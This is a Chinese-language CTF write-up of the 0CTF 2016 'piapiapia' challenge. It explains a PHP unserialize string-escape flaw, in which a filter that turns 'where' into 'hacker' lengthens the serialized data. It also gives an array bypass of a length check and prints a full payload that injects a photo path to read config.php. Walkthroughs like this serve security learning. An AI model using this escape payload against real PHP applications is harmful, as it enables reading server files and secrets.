[0CTF 2016]piapiapia(反序列逃逸)

我尝试了几种payload,发现有两种情况。
第一种:Invalid user name 第二种:Invalid user name or password 第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。
对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。
先不管,用字典扫一遍扫到源码直接下载下来。
每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password

这一段是class.php的源代码

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

这是一段updata.php的代码:

$user->update_profile($username, serialize($profile));

这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。

还有一段数据:

    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
        die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
        die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
        die('Invalid nickname');

这也是一段过滤的匹配操作。

在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。

进行正则表达式的过滤,赋予到$profile变量中。

调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。

查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

看到了是用了filter,就是我们最开始注意到的:

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

这里使用到了反序列化逃逸,奇怪的知识增加了hhh。

反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。

在phpstudy上验证一下:

<?php
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>

output:
array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸:

<?php
//$a = array('qsq', 'mx', 'test');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = 'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}';
var_dump(unserialize($b));
?>

output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

这就是反序列化逃逸。
在这道题中我们的序列化字符可控,长度也是固定的。 flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}

这里有个问题,那就是刚开始九个正则表达式长度的限制:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的:
s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"
我们想要之后的序列化成功,我们也需要进行补齐:
所以我们构造的payload应该是这样的:
";}s:5:“photo”;s:10:“config.php”;}
这里多了两个字符变成了34个字符。
搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了,实现了逃逸闭合。

此时我们抓包修改,一切就ok了。
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我们去查看读取的文件取得flag。

 

上一篇:BUUCTF:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点


下一篇:babyheap_0ctf_2017 详解